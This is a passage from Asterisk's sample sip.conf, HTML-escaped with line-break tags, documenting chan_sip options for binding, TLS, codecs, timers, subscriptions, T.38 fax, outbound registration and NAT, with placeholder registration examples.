matches the list of devices&lt;br /&gt;;    with a type=peer&lt;br /&gt;; 3. Asterisk checks the IP address (and port number) that the INVITE&lt;br /&gt;;    was sent from and matches against any devices with type=peer&lt;br /&gt;;&lt;br /&gt;; Don't mix extensions with the names of the devices. Devices need a unique&lt;br /&gt;; name. The device name is *not* used as phone numbers. Phone numbers are&lt;br /&gt;; anything you declare as an extension in the dialplan (extensions.conf).&lt;br /&gt;; &lt;br /&gt;; When setting up trunks, make sure there's no risk that any From: username&lt;br /&gt;; (caller ID) will match any of your device names, because then Asterisk &lt;br /&gt;; might match the wrong device.&lt;br /&gt;;&lt;br /&gt;; Note: The parameter "username" is not the username and in most cases is&lt;br /&gt;;       not needed at all. Check below. In later releases, it's renamed&lt;br /&gt;;       to "defaultuser" which is a better name, since it is used in &lt;br /&gt;;       combination with the "defaultip" setting.&lt;br /&gt;;-----------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;; ** Deprecated configuration options **&lt;br /&gt;; The "call-limit" configuation option is deprecated. It still works in&lt;br /&gt;; this version of Asterisk, but will disappear in the next version.&lt;br /&gt;; You are encouraged to use the dialplan groupcount functionality&lt;br /&gt;; to enforce call limits instead of using this channel-specific method.&lt;br /&gt;;&lt;br /&gt;; You can still set limits per device in sip.conf or in a database by using &lt;br /&gt;; "setvar" to set variables that can be used in the dialplan for various limits.&lt;br /&gt;&lt;br /&gt;[general]&lt;br /&gt;context=default                 ; Default context for incoming calls&lt;br /&gt;;allowguest=no                  ; Allow or reject guest calls (default is yes)&lt;br /&gt;;match_auth_username=yes        ; if available, match user entry using the&lt;br /&gt;                                ; 'username' field from the authentication line&lt;br /&gt;                                ; instead of the From: field.&lt;br /&gt;allowoverlap=no                 ; Disable overlap dialing support. (Default is yes)&lt;br /&gt;;allowtransfer=no               ; Disable all transfers (unless enabled in peers or users)&lt;br /&gt;                                ; Default is enabled. The Dial() options 't' and 'T' are not&lt;br /&gt;                                ; related as to whether SIP transfers are allowed or not.&lt;br /&gt;;realm=mydomain.tld             ; Realm for digest authentication&lt;br /&gt;                                ; defaults to "asterisk". If you set a system name in&lt;br /&gt;                                ; asterisk.conf, it defaults to that system name&lt;br /&gt;                                ; Realms MUST be globally unique according to RFC 3261&lt;br /&gt;                                ; Set this to your host name or domain name&lt;br /&gt;udpbindaddr=0.0.0.0             ; IP address to bind UDP listen socket to (0.0.0.0 binds to all)&lt;br /&gt;                                ; Optionally add a port number, 192.168.1.1:5062 (default is port 5060)&lt;br /&gt;&lt;br /&gt;;&lt;br /&gt;; Note that the TCP and TLS support for chan_sip is currently considered&lt;br /&gt;; experimental.  Since it is new, all of the related configuration options are&lt;br /&gt;; subject to change in any release.  If they are changed, the changes will&lt;br /&gt;; be reflected in this sample configuration file, as well as in the UPGRADE.txt file.&lt;br /&gt;;&lt;br /&gt;tcpenable=no                    ; Enable server for incoming TCP connections (default is no)&lt;br /&gt;tcpbindaddr=0.0.0.0             ; IP address for TCP server to bind to (0.0.0.0 binds to all interfaces)&lt;br /&gt;                                ; Optionally add a port number, 192.168.1.1:5062 (default is port 5060)&lt;br /&gt;&lt;br /&gt;;tlsenable=no                   ; Enable server for incoming TLS (secure) connections (default is no)&lt;br /&gt;;tlsbindaddr=0.0.0.0            ; IP address for TLS server to bind to (0.0.0.0) binds to all interfaces)&lt;br /&gt;                                ; Optionally add a port number, 192.168.1.1:5063 (default is port 5061)&lt;br /&gt;                                ; Remember that the IP address must match the common name (hostname) in the&lt;br /&gt;                                ; certificate, so you don't want to bind a TLS socket to multiple IP addresses.&lt;br /&gt;                                ; For details how to construct a certificate for SIP see &lt;br /&gt;                                ; http://tools.ietf.org/html/draft-ietf-sip-domain-certs&lt;br /&gt;&lt;br /&gt;;tlscertfile=asterisk.pem       ; Certificate file (*.pem only) to use for TLS connections &lt;br /&gt;                                ; default is to look for "asterisk.pem" in current directory&lt;br /&gt;&lt;br /&gt;;tlscafile=&lt;/path/to/certificate&gt;&lt;br /&gt;;        If the server your connecting to uses a self signed certificate&lt;br /&gt;;        you should have their certificate installed here so the code can &lt;br /&gt;;        verify the authenticity of their certificate.&lt;br /&gt;&lt;br /&gt;;tlscadir=&lt;/path/to/ca/dir&gt;&lt;br /&gt;;        A directory full of CA certificates.  The files must be named with &lt;br /&gt;;        the CA subject name hash value. &lt;br /&gt;;        (see man SSL_CTX_load_verify_locations for more info) &lt;br /&gt;&lt;br /&gt;;tlsdontverifyserver=[yes|no]&lt;br /&gt;;        If set to yes, don't verify the servers certificate when acting as &lt;br /&gt;;        a client.  If you don't have the server's CA certificate you can&lt;br /&gt;;        set this and it will connect without requiring tlscafile to be set.&lt;br /&gt;;        Default is no.&lt;br /&gt;&lt;br /&gt;;tlscipher=&lt;SSL cipher string&gt;&lt;br /&gt;;        A string specifying which SSL ciphers to use or not use&lt;br /&gt;;        A list of valid SSL cipher strings can be found at: &lt;br /&gt;;                http://www.openssl.org/docs/apps/ciphers.html#CIPHER_STRINGS&lt;br /&gt;&lt;br /&gt;srvlookup=yes                   ; Enable DNS SRV lookups on outbound calls&lt;br /&gt;                                ; Note: Asterisk only uses the first host &lt;br /&gt;                                ; in SRV records&lt;br /&gt;                                ; Disabling DNS SRV lookups disables the &lt;br /&gt;                                ; ability to place SIP calls based on domain &lt;br /&gt;                                ; names to some other SIP users on the Internet&lt;br /&gt;                                ; Specifying a port in a SIP peer definition or&lt;br /&gt;                                ; when dialing outbound calls will supress SRV&lt;br /&gt;                                ; lookups for that peer or call.&lt;br /&gt;&lt;br /&gt;;pedantic=yes                   ; Enable checking of tags in headers, &lt;br /&gt;                                ; international character conversions in URIs&lt;br /&gt;                                ; and multiline formatted headers for strict&lt;br /&gt;                                ; SIP compatibility (defaults to "no")&lt;br /&gt;&lt;br /&gt;; See qos.tex or Quality of Service section of asterisk.pdf for a description of these parameters.&lt;br /&gt;;tos_sip=cs3                    ; Sets TOS for SIP packets.&lt;br /&gt;;tos_audio=ef                   ; Sets TOS for RTP audio packets.&lt;br /&gt;;tos_video=af41                 ; Sets TOS for RTP video packets.&lt;br /&gt;;tos_text=af41                  ; Sets TOS for RTP text packets.&lt;br /&gt;&lt;br /&gt;;cos_sip=3                      ; Sets 802.1p priority for SIP packets.&lt;br /&gt;;cos_audio=5                    ; Sets 802.1p priority for RTP audio packets.&lt;br /&gt;;cos_video=4                    ; Sets 802.1p priority for RTP video packets.&lt;br /&gt;;cos_text=3                     ; Sets 802.1p priority for RTP text packets.&lt;br /&gt;&lt;br /&gt;;maxexpiry=3600                 ; Maximum allowed time of incoming registrations&lt;br /&gt;                                ; and subscriptions (seconds)&lt;br /&gt;;minexpiry=60                   ; Minimum length of registrations/subscriptions (default 60)&lt;br /&gt;;defaultexpiry=120              ; Default length of incoming/outgoing registration&lt;br /&gt;;mwiexpiry=3600                 ; Expiry time for outgoing MWI subscriptions&lt;br /&gt;;qualifyfreq=60                 ; Qualification: How often to check for the &lt;br /&gt;                                ; host to be up in seconds&lt;br /&gt;                                ; Set to low value if you use low timeout for&lt;br /&gt;                                ; NAT of UDP sessions&lt;br /&gt;;qualifygap=100   ; Number of milliseconds between each group of peers being qualified&lt;br /&gt;;qualifypeers=1   ; Number of peers in a group to be qualified at the same time&lt;br /&gt;;notifymimetype=text/plain      ; Allow overriding of mime type in MWI NOTIFY&lt;br /&gt;;buggymwi=no                    ; Cisco SIP firmware doesn't support the MWI RFC&lt;br /&gt;                                ; fully. Enable this option to not get error messages&lt;br /&gt;                                ; when sending MWI to phones with this bug.&lt;br /&gt;;vmexten=voicemail              ; dialplan extension to reach mailbox sets the &lt;br /&gt;                                ; Message-Account in the MWI notify message &lt;br /&gt;                                ; defaults to "asterisk"&lt;br /&gt;;disallow=all                   ; First disallow all codecs&lt;br /&gt;;allow=ulaw                     ; Allow codecs in order of preference&lt;br /&gt;;allow=ilbc                     ; see doc/rtp-packetization for framing options&lt;br /&gt;;&lt;br /&gt;; This option specifies a preference for which music on hold class this channel&lt;br /&gt;; should listen to when put on hold if the music class has not been set on the&lt;br /&gt;; channel with Set(CHANNEL(musicclass)=whatever) in the dialplan, and the peer&lt;br /&gt;; channel putting this one on hold did not suggest a music class.&lt;br /&gt;;&lt;br /&gt;; This option may be specified globally, or on a per-user or per-peer basis.&lt;br /&gt;;&lt;br /&gt;;mohinterpret=default&lt;br /&gt;;&lt;br /&gt;; This option specifies which music on hold class to suggest to the peer channel&lt;br /&gt;; when this channel places the peer on hold. It may be specified globally or on&lt;br /&gt;; a per-user or per-peer basis.&lt;br /&gt;;&lt;br /&gt;;mohsuggest=default&lt;br /&gt;;&lt;br /&gt;;parkinglot=plaza               ; Sets the default parking lot for call parking&lt;br /&gt;                                ; This may also be set for individual users/peers&lt;br /&gt;                                ; Parkinglots are configured in features.conf&lt;br /&gt;;language=en                    ; Default language setting for all users/peers&lt;br /&gt;                                ; This may also be set for individual users/peers&lt;br /&gt;;relaxdtmf=yes                  ; Relax dtmf handling&lt;br /&gt;;trustrpid = no                 ; If Remote-Party-ID should be trusted&lt;br /&gt;;sendrpid = yes                 ; If Remote-Party-ID should be sent&lt;br /&gt;;prematuremedia=no  ; Some ISDN links send empty media frames before &lt;br /&gt;    ; the call is in ringing or progress state. The SIP &lt;br /&gt;    ; channel will then send 183 indicating early media&lt;br /&gt;    ; which will be empty - thus users get no ring signal.&lt;br /&gt;    ; Setting this to "no" will stop any media before we have&lt;br /&gt;    ; call progress. Default is "yes".&lt;br /&gt;&lt;br /&gt;;progressinband=never           ; If we should generate in-band ringing always&lt;br /&gt;                                ; use 'never' to never use in-band signalling, even in cases&lt;br /&gt;                                ; where some buggy devices might not render it&lt;br /&gt;                                ; Valid values: yes, no, never Default: never&lt;br /&gt;;useragent=Asterisk PBX         ; Allows you to change the user agent string&lt;br /&gt;                                ; The default user agent string also contains the Asterisk&lt;br /&gt;                                ; version. If you don't want to expose this, change the&lt;br /&gt;                                ; useragent string.&lt;br /&gt;;sdpsession=Asterisk PBX        ; Allows you to change the SDP session name string, (s=)&lt;br /&gt;                                ; Like the useragent parameter, the default user agent string&lt;br /&gt;                                ; also contains the Asterisk version.&lt;br /&gt;;sdpowner=root                  ; Allows you to change the username field in the SDP owner string, (o=)&lt;br /&gt;                                ; This field MUST NOT contain spaces&lt;br /&gt;;promiscredir = no              ; If yes, allows 302 or REDIR to non-local SIP address&lt;br /&gt;                                ; Note that promiscredir when redirects are made to the&lt;br /&gt;                                ; local system will cause loops since Asterisk is incapable&lt;br /&gt;                                ; of performing a "hairpin" call.&lt;br /&gt;;usereqphone = no               ; If yes, ";user=phone" is added to uri that contains&lt;br /&gt;                                ; a valid phone number&lt;br /&gt;;dtmfmode = rfc2833             ; Set default dtmfmode for sending DTMF. Default: rfc2833&lt;br /&gt;                                ; Other options: &lt;br /&gt;                                ; info : SIP INFO messages (application/dtmf-relay)&lt;br /&gt;                                ; shortinfo : SIP INFO messages (application/dtmf)&lt;br /&gt;                                ; inband : Inband audio (requires 64 kbit codec -alaw, ulaw)&lt;br /&gt;                                ; auto : Use rfc2833 if offered, inband otherwise&lt;br /&gt;&lt;br /&gt;;compactheaders = yes           ; send compact sip headers.&lt;br /&gt;;&lt;br /&gt;;videosupport=yes               ; Turn on support for SIP video. You need to turn this&lt;br /&gt;                                ; on in this section to get any video support at all.&lt;br /&gt;                                ; You can turn it off on a per peer basis if the general&lt;br /&gt;                                ; video support is enabled, but you can't enable it for&lt;br /&gt;                                ; one peer only without enabling in the general section.&lt;br /&gt;                                ; If you set videosupport to "always", then RTP ports will&lt;br /&gt;                                ; always be set up for video, even on clients that don't&lt;br /&gt;                                ; support it.  This assists callfile-derived calls and&lt;br /&gt;                                ; certain transferred calls to use always use video when&lt;br /&gt;                                ; available. [yes|NO|always]&lt;br /&gt;&lt;br /&gt;;maxcallbitrate=384             ; Maximum bitrate for video calls (default 384 kb/s)&lt;br /&gt;                                ; Videosupport and maxcallbitrate is settable&lt;br /&gt;                                ; for peers and users as well&lt;br /&gt;;callevents=no                  ; generate manager events when sip ua &lt;br /&gt;                                ; performs events (e.g. hold)&lt;br /&gt;;authfailureevents=no           ; generate manager "peerstatus" events when peer can't&lt;br /&gt;                                ; authenticate with Asterisk. Peerstatus will be "rejected".&lt;br /&gt;;alwaysauthreject = yes         ; When an incoming INVITE or REGISTER is to be rejected,&lt;br /&gt;                                ; for any reason, always reject with an identical response&lt;br /&gt;                                ; equivalent to valid username and invalid password/hash&lt;br /&gt;                                ; instead of letting the requester know whether there was&lt;br /&gt;                                ; a matching user or peer for their request.  This reduces&lt;br /&gt;                                ; the ability of an attacker to scan for valid SIP usernames.&lt;br /&gt;&lt;br /&gt;;g726nonstandard = yes          ; If the peer negotiates G726-32 audio, use AAL2 packing&lt;br /&gt;                                ; order instead of RFC3551 packing order (this is required&lt;br /&gt;                                ; for Sipura and Grandstream ATAs, among others). This is&lt;br /&gt;                                ; contrary to the RFC3551 specification, the peer _should_&lt;br /&gt;                                ; be negotiating AAL2-G726-32 instead :-(&lt;br /&gt;;outboundproxy=proxy.provider.domain            ; send outbound signaling to this proxy, not directly to the devices&lt;br /&gt;;outboundproxy=proxy.provider.domain:8080       ; send outbound signaling to this proxy, not directly to the devices&lt;br /&gt;;outboundproxy=proxy.provider.domain,force      ; Send ALL outbound signalling to proxy, ignoring route: headers&lt;br /&gt;;outboundproxy=tls://proxy.provider.domain      ; same as '=proxy.provider.domain' except we try to connect with tls &lt;br /&gt;;                                               ; (could also be tcp,udp) - defining transports on the proxy line only&lt;br /&gt;;                                               ; applies for the global proxy, otherwise use the transport= option&lt;br /&gt;;matchexterniplocally = yes     ; Only substitute the externip or externhost setting if it matches&lt;br /&gt;                                ; your localnet setting. Unless you have some sort of strange network&lt;br /&gt;                                ; setup you will not need to enable this.&lt;br /&gt;&lt;br /&gt;;dynamic_exclude_static = yes   ; Disallow all dynamic hosts from registering&lt;br /&gt;                                ; as any IP address used for staticly defined&lt;br /&gt;                                ; hosts.  This helps avoid the configuration&lt;br /&gt;                                ; error of allowing your users to register at&lt;br /&gt;                                ; the same address as a SIP provider.&lt;br /&gt;&lt;br /&gt;;contactdeny=0.0.0.0/0.0.0.0           ; Use contactpermit and contactdeny to&lt;br /&gt;;contactpermit=172.16.0.0/255.255.0.0  ; restrict at what IPs your users may&lt;br /&gt;                                       ; register their phones.&lt;br /&gt;&lt;br /&gt;; The shrinkcallerid function removes '(', ' ', ')', non-trailing '.', and '-' not&lt;br /&gt;; in square brackets.  For example, the caller id value 555.5555 becomes 5555555&lt;br /&gt;; when this option is enabled.  Disabling this option results in no modification&lt;br /&gt;; of the caller id value, which is necessary when the caller id represents something&lt;br /&gt;; that must be preserved.  This option can only be used in the [general] section.&lt;br /&gt;; By default this option is on.&lt;br /&gt;;&lt;br /&gt;;shrinkcallerid=yes     ; on by default&lt;br /&gt;&lt;br /&gt;;&lt;br /&gt;; If regcontext is specified, Asterisk will dynamically create and destroy a&lt;br /&gt;; NoOp priority 1 extension for a given peer who registers or unregisters with&lt;br /&gt;; us and have a "regexten=" configuration item.  &lt;br /&gt;; Multiple contexts may be specified by separating them with '&amp;'. The &lt;br /&gt;; actual extension is the 'regexten' parameter of the registering peer or its&lt;br /&gt;; name if 'regexten' is not provided.  If more than one context is provided,&lt;br /&gt;; the context must be specified within regexten by appending the desired&lt;br /&gt;; context after '@'.  More than one regexten may be supplied if they are &lt;br /&gt;; separated by '&amp;'.  Patterns may be used in regexten.&lt;br /&gt;;&lt;br /&gt;;regcontext=sipregistrations&lt;br /&gt;;regextenonqualify=yes          ; Default "no"&lt;br /&gt;                                ; If you have qualify on and the peer becomes unreachable&lt;br /&gt;                                ; this setting will enforce inactivation of the regexten&lt;br /&gt;                                ; extension for the peer&lt;br /&gt;;&lt;br /&gt;;--------------------------- SIP timers ----------------------------------------------------&lt;br /&gt;; These timers are used primarily in INVITE transactions. &lt;br /&gt;; The default for Timer T1 is 500 ms or the measured run-trip time between&lt;br /&gt;; Asterisk and the device if you have qualify=yes for the device.&lt;br /&gt;;&lt;br /&gt;;t1min=100                      ; Minimum roundtrip time for messages to monitored hosts&lt;br /&gt;                                ; Defaults to 100 ms&lt;br /&gt;;timert1=500                    ; Default T1 timer&lt;br /&gt;                                ; Defaults to 500 ms or the measured round-trip&lt;br /&gt;                                ; time to a peer (qualify=yes).&lt;br /&gt;;timerb=32000                   ; Call setup timer. If a provisional response is not received&lt;br /&gt;                                ; in this amount of time, the call will autocongest&lt;br /&gt;                                ; Defaults to 64*timert1&lt;br /&gt;&lt;br /&gt;;--------------------------- RTP timers ----------------------------------------------------&lt;br /&gt;; These timers are currently used for both audio and video streams. The RTP timeouts&lt;br /&gt;; are only applied to the audio channel.&lt;br /&gt;; The settings are settable in the global section as well as per device&lt;br /&gt;;&lt;br /&gt;;rtptimeout=60                  ; Terminate call if 60 seconds of no RTP or RTCP activity&lt;br /&gt;                                ; on the audio channel&lt;br /&gt;                                ; when we're not on hold. This is to be able to hangup&lt;br /&gt;                                ; a call in the case of a phone disappearing from the net,&lt;br /&gt;                                ; like a powerloss or grandma tripping over a cable.&lt;br /&gt;;rtpholdtimeout=300             ; Terminate call if 300 seconds of no RTP or RTCP activity&lt;br /&gt;                                ; on the audio channel&lt;br /&gt;                                ; when we're on hold (must be &gt; rtptimeout)&lt;br /&gt;;rtpkeepalive=&lt;secs&gt;            ; Send keepalives in the RTP stream to keep NAT open&lt;br /&gt;                                ; (default is off - zero)&lt;br /&gt;&lt;br /&gt;;--------------------------- SIP Session-Timers (RFC 4028)------------------------------------&lt;br /&gt;; SIP Session-Timers provide an end-to-end keep-alive mechanism for active SIP sessions.&lt;br /&gt;; This mechanism can detect and reclaim SIP channels that do not terminate through normal&lt;br /&gt;; signaling procedures. Session-Timers can be configured globally or at a user/peer level.&lt;br /&gt;; The operation of Session-Timers is driven by the following configuration parameters:&lt;br /&gt;;&lt;br /&gt;; * session-timers    - Session-Timers feature operates in the following three modes:&lt;br /&gt;;                            originate : Request and run session-timers always&lt;br /&gt;;                            accept    : Run session-timers only when requested by other UA&lt;br /&gt;;                            refuse    : Do not run session timers in any case&lt;br /&gt;;                       The default mode of operation is 'accept'.&lt;br /&gt;; * session-expires   - Maximum session refresh interval in seconds. Defaults to 1800 secs.&lt;br /&gt;; * session-minse     - Minimum session refresh interval in seconds. Defualts to 90 secs.&lt;br /&gt;; * session-refresher - The session refresher (uac|uas). Defaults to 'uas'.&lt;br /&gt;;&lt;br /&gt;;session-timers=originate&lt;br /&gt;;session-expires=600&lt;br /&gt;;session-minse=90&lt;br /&gt;;session-refresher=uas&lt;br /&gt;;&lt;br /&gt;;--------------------------- HASH TABLE SIZES ------------------------------------------------&lt;br /&gt;; For maximum efficiency, adjust the following&lt;br /&gt;; values to be slightly larger than the maximum number of in-memory objects (devices).&lt;br /&gt;; Too large, and space is wasted. Too small, and things will run slower.&lt;br /&gt;; 563 is probably way too big for small (home) applications, but it&lt;br /&gt;; should cover most small/medium sites.&lt;br /&gt;; It is recommended to make the sizes be a prime number!&lt;br /&gt;; This was internally set to 17 for small-memory applications...&lt;br /&gt;; All tables default to 563, except when compiled in LOW_MEMORY mode,&lt;br /&gt;; in which case, they default to 17. You can override this by uncommenting&lt;br /&gt;; the following, and changing the values.&lt;br /&gt;;hash_users=563&lt;br /&gt;;hash_peers=563&lt;br /&gt;;hash_dialogs=563&lt;br /&gt;&lt;br /&gt;;--------------------------- SIP DEBUGGING ---------------------------------------------------&lt;br /&gt;;sipdebug = yes                 ; Turn on SIP debugging by default, from&lt;br /&gt;                                ; the moment the channel loads this configuration&lt;br /&gt;;recordhistory=yes              ; Record SIP history by default &lt;br /&gt;                                ; (see sip history / sip no history)&lt;br /&gt;;dumphistory=yes                ; Dump SIP history at end of SIP dialogue&lt;br /&gt;                                ; SIP history is output to the DEBUG logging channel&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;;--------------------------- STATUS NOTIFICATIONS (SUBSCRIPTIONS) ----------------------------&lt;br /&gt;; You can subscribe to the status of extensions with a "hint" priority&lt;br /&gt;; (See extensions.conf.sample for examples)&lt;br /&gt;; chan_sip support two major formats for notifications: dialog-info and SIMPLE &lt;br /&gt;;&lt;br /&gt;; You will get more detailed reports (busy etc) if you have a call counter enabled&lt;br /&gt;; for a device. &lt;br /&gt;;&lt;br /&gt;; If you set the busylevel, we will indicate busy when we have a number of calls that &lt;br /&gt;; matches the busylevel treshold.&lt;br /&gt;;&lt;br /&gt;; For queues, you will need this level of detail in status reporting, regardless&lt;br /&gt;; if you use SIP subscriptions. Queues and manager use the same internal interface&lt;br /&gt;; for reading status information.&lt;br /&gt;;&lt;br /&gt;; Note: Subscriptions does not work if you have a realtime dialplan and use the&lt;br /&gt;; realtime switch.&lt;br /&gt;;&lt;br /&gt;;allowsubscribe=no              ; Disable support for subscriptions. (Default is yes)&lt;br /&gt;;subscribecontext = default     ; Set a specific context for SUBSCRIBE requests&lt;br /&gt;                                ; Useful to limit subscriptions to local extensions&lt;br /&gt;                                ; Settable per peer/user also&lt;br /&gt;;notifyringing = no             ; Control whether subscriptions already INUSE get sent&lt;br /&gt;                                ; RINGING when another call is sent (default: yes)&lt;br /&gt;;notifyhold = yes               ; Notify subscriptions on HOLD state (default: no)&lt;br /&gt;                                ; Turning on notifyringing and notifyhold will add a lot&lt;br /&gt;                                ; more database transactions if you are using realtime.&lt;br /&gt;;notifycid = yes                ; Control whether caller ID information is sent along with&lt;br /&gt;                                ; dialog-info+xml notifications (supported by snom phones).&lt;br /&gt;                                ; Note that this feature will only work properly when the&lt;br /&gt;                                ; incoming call is using the same extension and context that&lt;br /&gt;                                ; is being used as the hint for the called extension.  This means&lt;br /&gt;                                ; that it won't work when using subscribecontext for your sip&lt;br /&gt;                                ; user or peer (if subscribecontext is different than context).&lt;br /&gt;                                ; This is also limited to a single caller, meaning that if an&lt;br /&gt;                                ; extension is ringing because multiple calls are incoming,&lt;br /&gt;                                ; only one will be used as the source of caller ID.  Specify&lt;br /&gt;                                ; 'ignore-context' to ignore the called context when looking&lt;br /&gt;                                ; for the caller's channel.  The default value is 'no.' Setting&lt;br /&gt;                                ; notifycid to 'ignore-context' also causes call-pickups attempted&lt;br /&gt;                                ; via SNOM's NOTIFY mechanism to set the context for the call pickup&lt;br /&gt;                                ; to PICKUPMARK.&lt;br /&gt;;callcounter = yes              ; Enable call counters on devices. This can be set per&lt;br /&gt;                                ; device too.&lt;br /&gt;&lt;br /&gt;;----------------------------------------- T.38 FAX SUPPORT ----------------------------------&lt;br /&gt;;&lt;br /&gt;; This setting is available in the [general] section as well as in device configurations.&lt;br /&gt;; Setting this to yes enables T.38 FAX (UDPTL) on SIP calls; it defaults to off.&lt;br /&gt;;&lt;br /&gt;; t38pt_udptl = yes            ; Enables T.38 with FEC error correction.&lt;br /&gt;; t38pt_udptl = yes,fec        ; Enables T.38 with FEC error correction.&lt;br /&gt;; t38pt_udptl = yes,redundancy ; Enables T.38 with redundancy error correction.&lt;br /&gt;; t38pt_udptl = yes,none       ; Enables T.38 with no error correction.&lt;br /&gt;;&lt;br /&gt;; In some cases, T.38 endpoints will provide a T38FaxMaxDatagram value (during T.38 setup) that&lt;br /&gt;; is based on an incorrect interpretation of the T.38 recommendation, and results in failures&lt;br /&gt;; because Asterisk does not believe it can send T.38 packets of a reasonable size to that&lt;br /&gt;; endpoint (Cisco media gateways are one example of this situation). In these cases, during a&lt;br /&gt;; T.38 call you will see warning messages on the console/in the logs from the Asterisk UDPTL&lt;br /&gt;; stack complaining about lack of buffer space to send T.38 FAX packets. If this occurs, you&lt;br /&gt;; can set an override (globally, or on a per-device basis) to make Asterisk ignore the&lt;br /&gt;; T38FaxMaxDatagram value specified by the other endpoint, and use a configured value instead.&lt;br /&gt;; This can be done by appending 'maxdatagram=&lt;value&gt;' to the t38pt_udptl configuration option,&lt;br /&gt;; like this:&lt;br /&gt;;&lt;br /&gt;; t38pt_udptl = yes,fec,maxdatagram=400 ; Enables T.38 with FEC error correction and overrides&lt;br /&gt;;                                       ; the other endpoint's provided value to assume we can&lt;br /&gt;;                                       ; send 400 byte T.38 FAX packets to it.&lt;br /&gt;;&lt;br /&gt;; FAX detection will cause the SIP channel to jump to the 'fax' extension (if it exists)&lt;br /&gt;; based one or more events being detected. The events that can be detected are an incoming&lt;br /&gt;; CNG tone or an incoming T.38 re-INVITE request.&lt;br /&gt;;&lt;br /&gt;; faxdetect = yes  ; Default 'no', 'yes' enables both CNG and T.38 detection&lt;br /&gt;; faxdetect = cng  ; Enables only CNG detection&lt;br /&gt;; faxdetect = t38  ; Enables only T.38 detection&lt;br /&gt;; faxdetect = both  ; Enables both CNG and T.38 detection (same as 'yes')&lt;br /&gt;;&lt;br /&gt;;----------------------------------------- OUTBOUND SIP REGISTRATIONS  ------------------------&lt;br /&gt;; Asterisk can register as a SIP user agent to a SIP proxy (provider)&lt;br /&gt;; Format for the register statement is:&lt;br /&gt;;       register =&gt; [peer?][transport://]user[@domain][:secret[:authuser]]@host[:port][/extension][~expiry]&lt;br /&gt;;&lt;br /&gt;; &lt;br /&gt;;&lt;br /&gt;; domain is either &lt;br /&gt;; - domain in DNS&lt;br /&gt;;  - host name in DNS&lt;br /&gt;; - the name of a peer defined below or in realtime&lt;br /&gt;; The domain is where you register your username, so your SIP uri you are registering to &lt;br /&gt;; is username@domain&lt;br /&gt;;&lt;br /&gt;; If no extension is given, the 's' extension is used. The extension needs to&lt;br /&gt;; be defined in extensions.conf to be able to accept calls from this SIP proxy&lt;br /&gt;; (provider).&lt;br /&gt;;&lt;br /&gt;; A similar effect can be achieved by adding a "callbackextension" option in a peer section.&lt;br /&gt;; this is equivalent to having the following line in the general section:&lt;br /&gt;;&lt;br /&gt;;        register =&gt; username:secret@host/callbackextension&lt;br /&gt;;&lt;br /&gt;; and more readable because you don't have to write the parameters in two places&lt;br /&gt;; (note that the "port" is ignored - this is a bug that should be fixed).&lt;br /&gt;;&lt;br /&gt;; Note that a register= line doesn't mean that we will match the incoming call in any&lt;br /&gt;; other way than described above. If you want to control where the call enters your&lt;br /&gt;; dialplan, which context, you want to define a peer with the hostname of the provider's&lt;br /&gt;; server. If the provider has multiple servers to place calls to your system, you need&lt;br /&gt;; a peer for each server.&lt;br /&gt;;&lt;br /&gt;; Beginning with Asterisk version 1.6.2, the "user" portion of the register line may&lt;br /&gt;; contain a port number. Since the logical separator between a host and port number is a&lt;br /&gt;; ':' character, and this character is already used to separate between the optional "secret"&lt;br /&gt;; and "authuser" portions of the line, there is a bit of a hoop to jump through if you wish&lt;br /&gt;; to use a port here. That is, you must explicitly provide a "secret" and "authuser" even if&lt;br /&gt;; they are blank. See the third example below for an illustration.&lt;br /&gt;;&lt;br /&gt;;&lt;br /&gt;; Examples:&lt;br /&gt;;&lt;br /&gt;;register =&gt; 1234:password@mysipprovider.com        &lt;br /&gt;;&lt;br /&gt;;     This will pass incoming calls to the 's' extension&lt;br /&gt;;&lt;br /&gt;;&lt;br /&gt;;register =&gt; 2345:password@sip_proxy/1234&lt;br /&gt;;&lt;br /&gt;;    Register 2345 at sip provider 'sip_proxy'.  Calls from this provider&lt;br /&gt;;    connect to local extension 1234 in extensions.conf, default context,&lt;br /&gt;;    unless you configure a [sip_proxy] section below, and configure a&lt;br /&gt;;    context.&lt;br /&gt;;    Tip 1: Avoid assigning hostname to a sip.conf section like [provider.com]&lt;br /&gt;;    Tip 2: Use separate inbound and outbound sections for SIP providers&lt;br /&gt;;           (instead of type=friend) if you have calls in both directions&lt;br /&gt;;&lt;br /&gt;;register =&gt; 3456@mydomain:5082::@mysipprovider.com&lt;br /&gt;;&lt;br /&gt;;    Note that in this example, the optional authuser and secret portions have&lt;br /&gt;;    been left blank because we have specified a port in the user section&lt;br /&gt;;&lt;br /&gt;;register =&gt; tls://username:xxxxxx@sip-tls-proxy.example.org&lt;br /&gt;;&lt;br /&gt;;    The 'transport' part defaults to 'udp' but may also be 'tcp' or 'tls'.&lt;br /&gt;;    Using 'udp://' explicitly is also useful in case the username part&lt;br /&gt;;    contains a '/' ('user/name').&lt;br /&gt;&lt;br /&gt;;registertimeout=20             ; retry registration calls every 20 seconds (default)&lt;br /&gt;;registerattempts=10            ; Number of registration attempts before we give up&lt;br /&gt;                                ; 0 = continue forever, hammering the other server&lt;br /&gt;                                ; until it accepts the registration&lt;br /&gt;                                ; Default is 0 tries, continue forever&lt;br /&gt;;----------------------------------------- OUTBOUND MWI SUBSCRIPTIONS -------------------------&lt;br /&gt;; Asterisk can subscribe to receive the MWI from another SIP server and store it locally for retrieval&lt;br /&gt;; by other phones.&lt;br /&gt;; Format for the mwi register statement is:&lt;br /&gt;;       mwi =&gt; user[:secret[:authuser]]@host[:port][/mailbox]&lt;br /&gt;;&lt;br /&gt;; Examples:&lt;br /&gt;;mwi =&gt; 1234:password@mysipprovider.com/1234&lt;br /&gt;;&lt;br /&gt;; MWI received will be stored in the 1234 mailbox of the SIP_Remote context. It can be used by other phones by following the below:&lt;br /&gt;; mailbox=1234@SIP_Remote&lt;br /&gt;;----------------------------------------- NAT SUPPORT ------------------------&lt;br /&gt;;&lt;br /&gt;; WARNING: SIP operation behind a NAT is tricky and you really need&lt;br /&gt;; to read and understand well the following section.&lt;br /&gt;;&lt;br /&gt;; When Asterisk is behind a NAT device, the "local" address (and port) that&lt;br /&gt;; a socket is bound to has different values when seen from the inside or&lt;br /&gt;; from the outside of the NATted network. Unfortunately this address must&lt;br /&gt;; be communicated to the outside (e.g. in SIP and SDP messages), and in&lt;br /&gt;; order to determine the correct value Asterisk needs to know:&lt;br /&gt;;&lt;br /&gt;; + whether it is talking to someone "inside" or "outside" of the NATted network.&lt;br /&gt;;   This is configured by assigning the "localnet" parameter with a list&lt;br /&gt;;   